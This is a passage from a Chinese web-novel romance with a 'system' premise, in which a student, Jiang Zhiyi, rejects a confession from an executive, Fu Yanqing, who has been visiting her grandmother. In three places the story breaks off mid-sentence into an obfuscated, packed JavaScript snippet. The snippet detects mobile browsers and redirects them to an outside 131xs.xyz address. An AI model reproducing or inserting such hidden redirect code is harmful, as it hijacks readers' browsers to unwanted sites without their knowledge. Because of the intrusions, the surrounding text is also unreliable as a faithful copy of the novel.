观棋知心,这局下得简单,却也能品出几分傅延青的耐心。 他是个十分有耐心的人。 无论他手下显颓势还是优势,他都能保持不动声色,让人猜不透他心里在想什么。 初时江知意觉得她占优势是她下得好,可现在她觉得,那或许只是傅延青用来引诱她的陷阱罢了。 他有足够的耐心引她一步步入局。 想到此,江知意不由起了层鸡皮疙瘩,暗叹不愧是玩商战的人,心思深沉,不是她能玩得过的。 她认输,傅延青只是弯了弯唇:“多练练就好了。” 江知意取出手机看了眼时间,站起来道:“我要回家了。” “嗯,再见。”这次傅延青没再提送她的事。 等江知意离开,傅延青又在桌旁默默坐了许久。 久到系统都忍不住跳出来问:“宿主,你怎么了?” 傅延青看着远处的老人,回答:“没什么。” 这两个月以来,他从未在江知意身边见过她的父母。 唯有一个老人在身边,还是得了老年痴呆被丢在养老院的。 她的家庭,或许比他想的还要遭。 * 那天之后江知意没有再找过傅延青。 请吃饭加送礼物,她自认为已经还得差不多,如无必要,她大概永远都不会再联系他。 傅延青问她愿不愿意做朋友时,她沉默,她知道他那样的人不可能无缘无故找她做朋友。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585786|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在不确定他的真实目的前,惹不起,她还躲不起吗? 十一月的时候,学校开始翻修操场。 江知意和王瑜课间上厕所时看到施工人员,不由奇怪,学校多少年没有翻新过校内设施了,怎么突然对操场下手了? 回到教室,果不其然也有人发出同样的疑问,还有人哀嚎:“苍天啊,怎么每次都是快毕业学校才修东西,我们不配吗!” 有人哀嚎自然就有人接话:“忍忍吧,好事儿永远都轮不到咱们,这么多年还没习惯吗?” 几句话间他们就闹成一团,话题逐渐偏离。 江知意跟着笑了,笑过之后又皱眉,想起一件事。 九月的时候,她曾在副校长办公室门口见过傅延青。 那时副校长对傅延青礼貌又和善,现在想来…… 操场翻新该不会和傅延青有关吧? 对了,他第一次来学校是办的什么事? 江知意想了几秒,果断放弃。 如果傅延青想让她知道,那她总有一天会知道。 如果傅延青不想让她知道,那她想也没用。 “江知意。”有人叫她。 她转过头,王鑫拿着练习册走过来。 “你现在忙吗?能不能帮我看下这道题?”他挠了下头,“我算了几遍都不对,实在算不动了。” “不忙,我看看。” 江知意低头看题,几秒后她拿着笔在一个公式下划了条线,说:“这步错了。” “啊?”王鑫凑过来,开始听她讲。 讲完后他恍然大悟:“哦我懂了!原来如此!”他简单记了两笔,边记边对江知意说,“你成绩这么好,有没有想过以后上哪个大学?” 这事江知意还真没想过。 她摇头:“没有,到时候再看吧,现在连能考多少分都说不准呢。” “别人不一定,但你肯定能上江北大学。” 江知意一愣。 江北大学是江北最好的大学,在全国都是第一档的存在。 而他们的高中在江北只能说中等偏上,算不上拔尖,每年运气好了能出几个上江北大学的,运气不好就一个都没有。 虽然她从高二起就是年级第一,但能不能上江北大学,还是得看最终发挥。 江北大学啊…… 在江北长大的孩子,哪个不向往上江北大学呢? 她心里一恍惚,回神笑笑:“谢谢,我努力。” 王鑫看着她的笑容,眼神微一闪躲,磕绊道:“谢什么。” 他拿起练习册,小声道:“我也能上江北大学就好了。” 江知意才发现他还有这样的志向,不由鼓励道:“可以的,只要你好好努力,一定可以的。” 这几次考试他都稳定在年级前十,属于分数线上下徘徊的那类人,只要他努力,江知意觉得他完全有机会上江北大学。 王鑫笑了笑,转身回到座位上。 一旁低头写题的王瑜见王鑫走了,意味深长道:“他想和你上同一个大学啊……” “啊?没有吧,他只是单纯地想上江北大学吧?” “你看不出来吗?他对你……” “什么?” 话音落下,上课铃声正好响起。 “好了好了先上课,有空再说。” 王瑜说得没头没尾,江知意不由多看了一眼王鑫。 他刚刚拿出课本,正在和同桌拌嘴。 看上去和平时并无不同。 他对她怎么? “老师来了!”王瑜压低声音,用胳膊肘碰她。 江知意回神,连忙翻开老师要讲的卷子。 * 高三的生活枯燥又一成不变,日子就这样按部就班地过着。 转眼来到十一月底。 傅延青已经一个月没有找过她了。 这一个月她的生活太过平静,平静到仿佛前两个月和傅延青的相处像一场梦。 她短暂地进入过他的生活,然后又抽离。 偶尔夜深人静写完作业,她会想起他。 但也只是一瞬间。 下一秒她就摇摇头,强迫自己上床睡觉。 月底考完试,江知意照旧在一个周日下午去看奶奶。 她来到房间,却发现奶奶不在。 隔壁床的老人认识她,主动问道:“又来看你奶奶啊?她不在,她和人下棋去了。” 下棋? 江知意愣了愣。 她道完谢,背着书包向娱乐区跑去。 那里一如既往很热闹,老人们三三两两围在桌边看人下棋。 江知意眼尖,扫了一眼就找见奶奶在哪里。 只是看见奶奶的同时,也不由自主看到了奶奶对面的人。 男人一身讲究的西装配风衣,风衣领子高高竖起,黑压压一片,看起来冷淡又不可接近,在一众老年人中如鹤立鸡群般的存在。 “傅延青。”江知意喃喃。 竟然是傅延青。 一个月不见,她想过几次他还会不会出现,在哪里出现。 可无论如何,她都没想过他会在这里出现。 16. Round 1 江知意僵硬地走过去。 傅延青远远看到她,点了下头。 她从后面走过去,停在奶奶身边:“奶奶。” 奶奶正看着棋盘发呆,第一下没听到,还是傅延青提醒她,她才缓缓抬头看江知意。 老人困惑地眯起眼睛,看她几秒才问:“你是……之前陪我散步的小姑娘?” 见奶奶还记得她一些,江知意赶紧点头:“是我,奶奶。” “喔,你找谁呀?找小傅吗?”奶奶接着问。 对面的男人闻言,淡淡抬起眼看她。 小傅? 第一次听到这两个字,江知意着实愣了一下。 她都没让奶奶记住她姓什么呢,傅延青竟然让奶奶记住了他姓傅。 他到底来了多少次? 而且以他的身份地位,他竟然任由奶奶叫他小傅? “我……”江知意脑子里乱成一团,鬼使神差地接道,“我找小……” “傅”字差一点就要说出口,她紧急刹车改口:“对,我找他。” 被指名的傅延青抬起头,眼神像在说她大胆,可他轻笑一声,什么都没说,又仿佛是纵容。 “那你们聊,你们的事要紧。”奶奶说着站起来,“我这就回去了。” “奶奶。”傅延青终于开口,跟着站起来,“不要紧,我先送您回去。” 江知意顿时涌起古怪的感觉。 明明是她的奶奶,她还没说话,傅延青怎么比她还主动? 奶奶倒是一点不介意,眉开眼笑,习惯性问道:“不耽误你们吧?” “不耽误。”傅延青弯唇,同时看向她,示意她接话。 “不耽误。”江知意跟上,从另一边扶住奶奶,“我跟你们一起。” 送奶奶回到房间,两人终于有了单独说话的机会。 他们默契地走远了些,在长廊上挑了个僻静的位置坐下,江知意缓缓开口:“你怎么……” 怎么会在这里? 怎么会陪奶奶下棋? 怎么会和奶奶这么亲近? 这会儿正是午后。 远处的天高远通透,一碧如洗,他望着天慢慢回道:“我人好。” 人好?江知意才不信。 她接着问:“是因为我吗?” 傅延青沉默。 廊下安静极了,偶尔才有风吹动枯叶的声音。 “你为什么……”江知意忍不住了,直截了当道,“为什么这么帮我?” 若说前几次是巧合,是傅延青随手一帮,那这次就是傻子也看得出来了。 他是真的在有意识地对她好,有意识地帮她。 奶奶是她的软肋,傅延青这样照顾奶奶,于她而言几乎是子弹正中眉心。 她怎么能视而不见? “帮你?”男人笑了笑,转过来看她,“未必吧,陪老人家下棋而已,怎么就成了帮你?” “因为奶奶对我很重要。”江知意咬唇,“我不信你看不出来。” “对你很重要,所以呢?这里这么多主动照顾老人的志愿者,我就不能是其中一员了?你奶奶无人照顾,我日行一善发发善心很奇怪吗?” “傅……傅延青。”第二次叫他的名字,江知意还是不习惯,卡顿了一下才继续,“我在认真和你说话。”她强调,“我不喜欢这样。” 傅延青眉梢一扬,微微疑惑。 “我不喜欢欠人人情,你这样自顾自地帮我,对我来说是一种负担。你每次帮我,我都要想着怎么还你,你知道这对我来说意味着什么吗?” “什么?” “道德绑架。”江知意直视着他,“我不需要你做这些,你可不可以不要再做了?没有你我也可以过得很好,你每次出现,我都要费力想你有什么目的,你想要什么,我要怎么和你两不相欠。” 她深吸一口气,咬着字又问一遍:“你到底想要什么?” 坦白说,这是她对傅延青说话最不客气的一次。 或许是因为牵扯到了奶奶,或许是因为疲惫,又或许是因为害怕,她终于忍不住问出来了。 傅延青有钱有时间,想玩就玩,想走就走,她不一样。 她玩不起。 可这样不客气的话说出,男人却丝毫不受影响,他神色不变,慢慢说道:“还什么?我什么时候说要你还了?” “那你做这么多总有个目的吧,你的目的是什么?” 她步步追问,他依旧从容不迫。 静静看了她片刻,傅延青道:“我没有什么目的。” “我不……” “信”字还没说完就被他打断,他淡淡一笑:“私心倒是有一个。” 这回轮到江知意问“什么”了。 男人没有立刻回答,他低眸看她,眼神有股异样的认真,片刻后才问:“你真想知道吗?” “你说。” “在这儿不行,得换个地方。”傅延青说完站起身,“正好我有礼物给你,放在公司了,你跟我去取我就告诉你。” 他轻轻挑眉:“怎么样,去吗?” 去?不去? 江知意仰头怔怔看他,脑子里已头脑风暴了无数种可能性。 什么理由要去他公司才能说? 还有,他怎么又给她准备了礼物? 这一去……会不会是鸿门宴? 江知意思索片刻,决定先给一个折中的回答:“我想一下吧,我去跟奶奶说再见,回来再告诉你答案。” 这个反应傅延青并不意外。 她一向谨慎,他已经习惯。 “好。”傅延青点头,“你去吧。” * 折回奶奶房间时,奶奶正在往铁盒里装糖。 里面花花绿绿,已经装了大半。 听到脚步声,奶奶匆忙盖上铁盒,塞进枕头下,心虚般地将头发拢到耳后,这才抬头看她。 看清她是谁后,奶奶露出惊讶神色:“小姑娘,你怎么回来了?不是要找小傅吗?” “我……我有个东西掉了,回来找找。”江知意随口编了个理由。 “什么东西?” “一个钥匙扣。” “那赶紧找找,看是不是掉在这儿了。”奶奶说着弯下腰。 她年龄大了,弯腰有些吃力,但听说她丢了东西,还是好心肠地帮她找起来。 即便在她的视角,她只是个见了几面的陌生人。 江知意鼻尖一酸,赶紧上前扶住老人:“奶奶,您坐着休息吧,我来找。” 扶奶奶在床边坐好,她才低下头装出一副找东西的模样。 江知意边找边问:“奶奶,您和他怎么认识的呀?” “谁?小傅?”提起傅延青,奶奶笑眯眯道,“他总来陪我下棋,下完棋还主动陪我说话散步,有时给我削水果,有时给我读报纸,这么热心的孩子,这里可不多见。” 热心…… 江知意才不信傅延青会有这么热心。 可他做的那些事又都是实实在在为奶奶好的。 不管怎样,他都替她做了很多她没时间做的事。 江知意心里一动,随手将一个钥匙扣丢在地上,说道:“找到了。” 她将钥匙扣捡起来:“奶奶,找到了。” 老人为她松口气,笑着道:“找到就好,找到就好。” 江知意将钥匙扣装好站起来,看着奶奶认真道:“奶奶,我以后也常来看你。” “诶……”奶奶脸上闪过一丝意外,接着又有晶莹的东西在眼睛里闪烁,她笑着说,“好好好,有空来看奶奶,你和小傅一样,都是好孩子。” 跟奶奶说完再见,走出房间,正好在走廊遇到熟悉的工作人员。 “姐姐。”江知意叫住她。 工作人员听到声音停下来,看到是她,眉眼弯弯露出笑容:“知意,是你呀,来看你奶奶吗?” “嗯。”江知意点头,接着追问,“姐姐,最近还有别人看过我奶奶吗?” “有啊!”工作人员眼睛亮了亮,“还是个帅哥呢,气质特别好。一开始我们不认识他,还以为他找你奶奶有什么事,问了才知道是志愿者。” “他最近一个月几乎每天都来,有时待一个小时,有时待两三个小时,陪你奶奶说话散步,下棋读报。” 她说完笑眯眯道:“对了,你们认识吗?” “……认识。” “哎呀,难怪,我就说他只陪你奶奶,肯定是认识你。”她好奇道,“他是你们家哪个远房亲戚吗?之前怎么没见过?” “……不是,只是朋友。” “这样啊。”工作人员笑着补充,“多亏他了,你奶奶最近心情特别好,连带着对我们都爱笑爱说话了。” 这话不用她说江知意也能看出来。 仅仅隔了一个月,奶奶就变得肉眼可见的开心。 心里仿佛被什么东西轻轻击中,江知意哽了哽。 工作人员还要忙,见她没什么大事,匆匆说了两句便离开。 江知意捏紧书包带子,心情沉重地往回走。 傅延青做了这么多……明明刚才就可以告诉她,为什么不说? 做好事不留名吗? 要不是她问过奶奶和工作人员,恐怕她真的会以为他只是心血来潮来玩了几次。 慢吞吞走回廊下时,傅延青正靠在廊柱上吹风。 他闭着眼,神情宁静,似享受。 十一月末的风带着寒冷肃杀之意,刮在脸上有微微的刺痛。 可他却一副很满足的样子。 她挪过去,脚下不时响起枯叶被踩碎的“嚓嚓”声。 男人听到声音,睁开眼看她。 “考虑好了吗?”他问。 “你……最近经常来养老院吗?”江知意忍不住问。 “经常?”他淡淡一笑,“还好吧,偶尔几次而已。” “几次?” 她执着追问,傅延青愣了一下,接着认真想了想,回答:“忘了。” 到这一步,江知意已经确认他就是不想说。 工作人员说他几乎天天来,作为当事人,傅延青怎么可能不记得? 江知意低叹一口气,终于认命。 好吧,她确实想知道他的目的,或者说,他的私心。 他成功地勾起了她的好奇心。 他大费周章做了这么多,应该不至于只是想害她。 应该……不会有什么危险。 这么想着,江知意点头:“好吧,我去。” * 数不清是第几次坐傅延青的车。 上车后她没有问他就熟练地打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585787|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车窗,男人看她一眼,什么也没说。 这几乎已经成为他们的默契。 车一路如履平地,快到那个奇怪的地方时,江知意不由屏住呼吸。 十米,五米,一米。 下一瞬,冰凉无形的东西从她身体里穿过。 她睁大眼睛,舍不得放过窗外任何一处细节,可她看来看去也没看出哪里有不对劲儿的地方。 车飞速前行,很快将那个地方甩在后面。 江知意呆呆愣了几秒,转过头问傅延青:“你刚才有没有觉得一下子很冷?” “想关窗了?” “不是,就那一下,像冰从身体里穿过一样。” 按理来说那一下后她会下意识发抖打颤,可是没有。 仿佛只有穿过的瞬间她才能感觉到那东西是冰的。 一闪而逝,快得像幻觉。 他微微蹙眉:“没有。” 难道真是幻觉? 不,不对,一次两次是巧合,每次都这样,那就不是“巧合”两个字能解释的了。 江知意不再追问,望着窗外若有所思。 二十分钟后,车停在一座望不见顶的写字楼下。 傅延青还没下车,旋转门前的保安便主动迎上来为他开车门。 保安伸手挡在车顶和他的头之间,傅延青下车,随手将钥匙递给保安。 江知意没见过这种场面,看得呆了呆,第一次对“傅大总裁”这个身份多出些实感。 一愣神的功夫,傅延青已来到她这侧,为她打开车门,手挡在车顶和她的头之间。 ——和刚才保安为他做的一模一样。 “书包先放车上,等下就送你回去。”傅延青说。 江知意点头,放下书包下了车。 “跟紧我。”他说着转身,领她向写字楼内走去。 江知意赶紧跟上。 傅延青一路向里走,每到一个门前都有人主动为他开门,他们弯腰站在门边,恭恭敬敬叫他“傅总”。 写字楼内装修精致,低调又高级,连地板都光洁得一丝污渍都没有。 要做到这种程度,清洁费都得不少吧……江知意忍不住想道。 路过前台时,有人抬起头道:“傅总,有您的包裹。” 前台工作人员说着从前台下面拿出一大束百合花,快步向他们走来。 “傅总,您的花。” 那束花很大,几乎遮去了工作人员的上半身,当她在傅延青面前站定时,百合花也几乎占满了江知意的视线。 非常漂亮的百合。 几十朵扎在一起,坠着露珠,细闻还有淡淡百合香。 江知意哪里见过这么多的花,不由好奇。 傅延青要这么多花干什么? 疑惑间,男人的声音从头顶传来:“帮我拿一下。” 眼前的百合花转了个方向,向她递来。 江知意:“啊?” “……”傅延青无奈,又重复一遍,“江知意,帮我拿一下。” “……哦哦。”江知意手脚慌乱地接过。 抱好百合,傅延青带着她向电梯走去。 电梯约有十几个,最外面的是员工所用,不时有人进出。里面几个无人使用,对比之下就显得安静许多。 傅延青带她走进了最里面的一个。 等电梯门合上,两人重新处于安静的空间,江知意忍不住问:“这是你买的花吗?要送人?” “嗯。”傅延青应了一声,说,“送你的。” 江知意:“……?” 她怀疑自己听错了,愣愣看向他,好一会儿才找回自己声音:“送我?为什么?” “等下就知道了。” “叮——”电梯到了。 傅延青迈步,江知意继续跟上。 入目是宽阔的走道、柔软的厚地毯和干净到能反光的落地窗。 从落地窗往下望,车辆行人都渺小得像一个点。 江知意一阵眩晕,赶紧收回目光。 穿过长长的走廊,傅延青在一间办公室停下。 就在他停下的一瞬间,旁边不知道从哪儿冒出来个人,用钥匙帮他开了门。 那人同样一身西装,可和傅延青对比起来……就好像哪儿差了点。 两人完全不是一个感觉。 门开了,傅延青走进去。 他边脱风衣边对她道:“你先坐,等我一下,我有点事处理,五分钟就回来。” “噢,好。”江知意拘谨地扫视一圈办公室,抱着花在会客区的沙发上坐下。 “先喝点水吧女士。”开门的男人不知什么时候倒好了茶水,帮她放在了面前的茶几上。 “您的花可以先放在一边,没关系的。”他微笑着提醒。 “噢、好的。”她后知后觉抱着花的自己像个傻子,连忙将花放在一边。 纸杯里的水热气腾腾,江知意伸手去拿,不想被经过茶几的傅延青抢了先。 他将纸杯塞回助理手里,表情语气透出不悦:“别给她用这个。” 江知意:“……” 别、给、她、用、这、个。 她懵了懵,下意识觉得傅延青是在谴责助理多管闲事给她倒水,下一秒,傅延青继续说。 ——“用我柜子里那套。” 17. Round 1 江知意腾地一下站起来,后退几步,眼里流露出惊恐。 “我喜欢你”和“我想追你”,本该是含情脉脉甜蜜温柔的八个字,可由傅延青说出,落在她的耳里,她只觉得恐怖。 傅延青喜欢她? 她绝对不信。 从一开始他就是突然出现在她生活中的,她冷眼旁观,原本不想多问,可他牵扯进了奶奶。 于是她忍不住问他,究竟有什么目的,做这么多究竟是为了什么? 结果他竟然说喜欢她。 怎么可能。 傅延青是什么样的人? 钱、权、颜样样不缺,只要他想,很多人会喜欢他。 像她这样普普通通的学生,他有什么理由喜欢她? 他一定是在玩她。 他一定是为了她身上的某样东西。 至于那样东西究竟是什么,江知意不在乎了。 她现在只想立刻逃离傅延青。 之前和傅延青下棋时她就看出他心思深沉,极有耐性,何况两人又差着年龄、阅历和见识。 真玩起来,她绝对不是他的对手。 她猛地站起来,反应剧烈,傅延青也因为她的反应而一怔,接着看向她,眼里露出一丝茫然。 江知意嘴唇颤了颤,忍着害怕,勉强挤出一丝声音:“我要回家了。你把书包还给我,我要回家了。” 男人眼里茫然更甚,大抵是她的反应远远超出他的预料,安静几秒他才做出反应:“你怎么了?” “没怎么,我要回家了。”她不想也不敢在傅延青面前露怯,竭力保持着声音的平稳说,“明天要考试,我得赶紧回家复习了。” 傅延青:“……” 他微微蹙眉,看着她道:“你在怕我?我不是说喜欢你?怎么一副我要吃了你的样子。” 江知意摇头:“不,你不喜欢。” 傅延青:“……” 短暂的静默后,他好笑道:“你的意思是,你不仅拒绝了我的表白,还不许我追你?” “追”这个字再一次从傅延青口中说出,江知意心里一阵难言。 追什么,什么追。 他连自己的感情喜好都能当工具使用,当真是……可怕。 她再次摇头,声音艰涩道:“傅延青,别玩我了可以吗?” 男人嘴角的笑一滞,脸上的笑慢慢淡去。 “我不知道你到底想要什么,如果你愿意说,可以说出来听听,我会考虑给你;不愿意说,那就算了。” “只是,无论你愿不愿意,都到此为止吧,以后不要再来找我了,可以吗?” 傅延青沉默看她。 他脸上的笑意都不见了,这样子看她的时候,便自然而然透出一种生人勿近的冰冷感。 被这样义正言辞地拒绝,面对这样划清界限的话,他好似也不伤心,只眯起眼睛,一遍又一遍地看她。 江知意看不懂他在想什么,但她急着离开,不得不出声提醒:“我的书包?” 书包在他的车上,下车的时候她以为很快就能回去,就没有拿,此刻她开始后悔了。 就不应该把东西放他车上的。 她哪里能想到他会用一个更荒唐的理由来回答她的问题? 傅延青终于停止看她,低眸笑了一下,像是自嘲:“我带你去拿。” 临走的时候,看到她两手空空地跟上来,傅延青不禁提醒:“你的花和巧克力。” “不要了,你留着吧。” “送给你就是你的了,哪有我再留下的道理?” “……”江知意仰头看他,“是吗?既然是我的,那我就有权就如何处理吧?帮我扔了吧,谢谢。” 傅延青:“……” 坐电梯下到一楼,来到车旁,傅延青主动为她开车门:“我送你回去。” “不用了。”江知意弯腰将书包取出,顺手关上车门,“我自己回。” 他皱眉:“你知道路?” “我记得路。”不过二十分钟的车程,就算找不到公交车地铁,走回去也要不了多久。 江知意背好书包,最后看傅延青一眼:“以后不要再来找我和我奶奶了。” 她转身,男人却在身后叫她:“江知意。” 她站着不动,傅延青的声音从身后传来:“今天的事是我吓到你了,我给你时间,你静一静吧。”那声音一顿,接着道,“过段时间我再找你。” 江知意听完没有回答,一刻都没有停留地大步离开。 等她走远,系统跳出来道:“宿主,玩脱了吧。” 它又同情又好笑:“第一次被人拒绝的滋味儿怎么样?” 傅延青低头点了根烟,吸了一口才缓缓道:“出乎意料。” 何止是出乎意料。 饶是他预估好了各种反应,也没想到江知意是这样的回答。 他说喜欢她,她的第一反应不是开心,不是膨胀,而是害怕。 她竟然还在害怕他。 他有那么可怕吗? 第一次对女人说出那几个字,得到的却是这样的回答,傅延青都想笑自己。 “那下一步呢,宿主打算怎么办?”系统接着问。 “给她点时间吧。”逼得太紧,只会适得其反。 不过在此之前,还有一件事要做。 这是他的世界,江知意一个人难保不会遇到什么危险。 他得看着她安全到家。 他绕到车的另一侧准备上车,电话响了。 助理问他:“傅总,郝总监还在等您,说有文件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611500|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要您过目。” “嗯。”傅延青随口应了一声,“让她等着,我半个小时后回来。” “好的。” 对他不客气的人,他自然也没必要客气待之。 她早就暗地里站了傅呈远的队,真以为他看不出来吗? 连他的办公室都敢随便擅闯,真以为他是吃素的吗? 傅延青冷笑一声,用力掐灭了手中的烟。 * 江知意在那个奇怪的地方停了下来。 她仔细观察一番,没发现什么异常,于是拿出手机试着搜索了一下这个地方。 结果显示相关信息为零。 和傅延青的药和香水一样,相关信息为零。 真是见鬼了! 为什么所有和傅延青有关的东西都搜索不出结果? 难道他真的能只手遮天,能屏蔽一切和他有关的信息? 江知意怔怔看了会儿眼前的景象,摇摇头。 算了,不关她的事。 他这么深不可测,果然远离他才是最正确的决定。 她不再多想,继续向前走。 经过某一个点时,冰凉穿透身体的感觉又来了。 江知意停下脚步,回头望去。 所见之处还是一切正常。 …… 她看了几眼,收回目光,加快脚步离开了。 * 远处,傅延青坐在车里,看着江知意在交界之处左看右看,不由觉得有趣。 所谓交界之处,就是连接两个世界的地方。 她的世界只有他能去,反之,他的世界也只有她能来。 穿过交界之处时,身体会有被冰凉物体穿过的感觉。 江知意大约就是因为这个,才会每次都注意这个地方,才会在那里看来看去。 他看着江知意在那里研究了十分钟都没有要走的意思,不由问系统:“她会发现那儿的异常吗?” “不会,人没那么容易想到超出认知的东西。” “如果我告诉她呢?” “不可以。”系统语气严肃,“宿主绝对不可以透露任何关于两个世界的事,如果宿主明知故犯,将会受到严重的惩罚。” 譬如生命,譬如自由。 “如果,她自己发现了呢?”傅延青目不转睛地看着前方的江知意,缓缓问道。 她是个谨慎细心又聪明的姑娘,如果有一天她自己发现了呢? 那时他要不要承认? “不要承认。”系统一盆冷水浇下来,“江知意发现是江知意的事,宿主只需管好自己。” “……”胸口突然涌上一阵窒息的感觉,他觉得压抑,不由打开车窗。 寒风灌进来,他吹了片刻才恢复平静,应道:“知道了。” 18. Round 1 红色感叹号过于刺目,傅延青不能相信地看了一遍又一遍。 什么意思? 她把他删了? 他没惹她吧? 系统同情道:“你又把她吓跑了。” 傅延青:“……吓跑?” “那次表白啊,你说你喜欢她,当场就把人家吓跑了,你心里没数?” 傅延青脸色难看,系统还在添油加火:“这下别说好感度了,她不讨厌你就不错了。宿主,我不得不提醒你一句,你的任务进度有点危险啊。” 傅延青盯着手机,没有回话。 就因为一次表白,她就把他删了,还避他如蛇蝎? 他的表白有那么可怕? 该说她看不上他,还是她讨厌他? 被拒绝到这个程度,内心的骄傲已不允许他再停留。 胸口起伏几下,他闭了闭眼,转身就走。 回去的路上,车速飙到最高,引擎声在耳边咆哮,系统尖叫道:“慢点,慢点,宿主你看路!” 傅延青充耳不闻,一路超车。 慢慢地系统回过味来,人家就是车技好,人家就是不怕! 之所以开这么快,大抵就是想飙车发泄情绪吧。 也难怪,他在表白前肯定没想到会是这种效果。 眼看任务陷入僵局,好不容易养起来的好感度又掉回去,他不难受才怪。 系统同情地叹了口气。 飙车一路到家,打开门的一刻,傅延青的情绪才渐渐冷静下来。 他扔了外套在椅子上,走到沙发前坐下,用手撑住头,开始想事情为什么会变成这个样子。 坦白说,表白的方法是贺凌舟教给他的。 贺凌舟此人,表面看着吊儿郎当漫不经心,实则内心有个深爱多年的白月光。 很多年前他对白月光一见钟情,锲而不舍地追了好多年。 起初他完全不是白月光的菜,从外貌到性格,白月光明确说过他不是她喜欢的类型,可滴水穿石,他用了无数方法,最后竟真的追到了她。 那时傅延青问他,怎样获得一个女孩的好感,贺凌舟便答,追她。 他对着他开始长篇大论地分析,拿自己的实战经验举例,说了很多,但中心意思只有一个:人会更容易喜欢一个喜欢自己的人。 同样条件的人站在她面前,一个喜欢她,一个不喜欢,百分之九十的概率她会倾向于喜欢自己的那个人。 贺凌舟说,想追就大胆追啊,不丢人! 傅延青皱眉看他,虽然对他的理论持怀疑态度,但考虑到他的结果,他还是决定试试。 然后,他就被江知意删好友了。 想到此,男人额头的青筋跳了跳。 他怎么就昏了头,相信贺凌舟的方法了? 电话铃声在这时响起,正是给他出主意的贺某人。 傅延青按了按额角,耐着性子接起:“说。” “出来吃饭?” “没心情。” “呦,谁又惹你了?你那个弟弟又作妖了?” “不是他。” “那是谁?”电话里传来电梯的提示音,接着脚步声响起,“是那个女孩?” 下一秒,敲门声响起,贺凌舟在电话里说:“开门。” 傅延青黑着脸去开门:“人到了还打电话,有病?” “这不是给你准备出门的缓冲时间吗?”贺凌舟挂断电话,耸耸肩道,“谁知道这么巧,遇上你心情不好。” “我不吃了,你自己随意。”傅延青转身坐回沙发上。 “到底什么情况啊,我说,说来听听呗,你说了我才好给你出主意啊?”贺凌舟跟着他走过来,大咧咧地在他对面的茶几上坐下。 傅延青冷笑一声:“就你那馊主意?” “馊主意?”贺凌舟不服,“你就说我成没成功吧?等等,该不会——”他眯起眼睛,像发现新大陆一样,“你表白被拒了吧?” 傅延青:“……” 何止被拒。 他没否认,贺凌舟一脸痛心道:“被拒绝而已,这有什么,你看你就是这点不如我,被拒了就继续追啊!” 傅延青轻抬眼皮:“骚扰人家?” “骚扰?”贺凌舟忍不住笑了,“我说,你能不能照照镜子,就你这条件,起点比我高太多了好吧?” “什么条件?外表?钱?还是权势?” “都有啊,人一辈子不就图这几样?你坚持追她,以你的条件,我不信她不动心。” “歪理。”傅延青冷冷道,“这些东西跟她对我有没有好感有什么关系?有的人就是对这些不感兴趣,你没见过,你怎么知道不存在?” 贺凌舟对怼得说不出话,张嘴想反驳,却半晌没声音。 他摇摇头,摊手道:“行吧,你有理,那你别听我的,自己慢慢追去。” “不追了。”傅延青说。 “啊?”贺凌舟纳闷,“这么快就放弃了?这不像你啊?还是说你对人家只是玩玩?” “不是。”傅延青低眸沉思,“我要静一段时间。” 静一段时间,好好想想他和江知意的关系。 “哦——静一段时间,思考出策略,接着追是吧?”贺凌舟忍不住揶揄,“前段时间还说不喜欢人家,没想到这么快就开始想办法追人家了,没想到啊。” 话音刚落,傅延青一顿,猛地看他:“我没说我喜欢她。” 贺凌舟:“呵呵。” 他一副看破的样子,说:“嘴硬对你有什么好处?不喜欢人家还追人家,你是侮辱我的智商还是侮辱我的眼力?问你是不是玩人家,你说不是,问你是不是喜欢人家,你还说不是,你当我傻啊?” “再说了。”贺凌舟意味深长道,“你口口声声不喜欢人家,结果人家一拒绝你你就连饭也吃不下了,你说这叫什么?” “……你想太多。” “不是我想太多。”贺凌舟忽然凑近,“这么多年你眼高于顶,谁都看不上,别人不知道我还能不知道吗?表白这种事情,只要你不想,谁还能逼得了你?” “傅延青,问问自己,现在让你对郝琦表白,你去吗?现在从大街上随便拉来一个女人让你表白,你肯吗?” “你听了我的话去追人家,你敢说对人家一点想法都没有?” 傅延青脸色沉下去,唇渐渐抿成一条直线。 “够了啊,喜欢就喜欢,有什么不敢承认的。”贺凌舟站起来,拍他的肩道,“算我有良心,想吃什么,回来给你带。” * 凌晨一点,傅延青仍没有睡意。 他来到阳台给花浇水,浇着浇着想到江知意,又停下来。 距离傍晚见到江知意已经过去了五六个小时,他现在平静下来,依然想不明白自己到底怎么了。 那时江知意装没看见他,还把他删了,他为什么这么……烦躁? 他甚至都不知道江知意什么时候删的他。 他在烦躁什么? 烦躁时间快过半了,任务却毫无进展,还是烦躁江知意装不认识他? 她怎么就那么…… 怎么就那么看不上他。 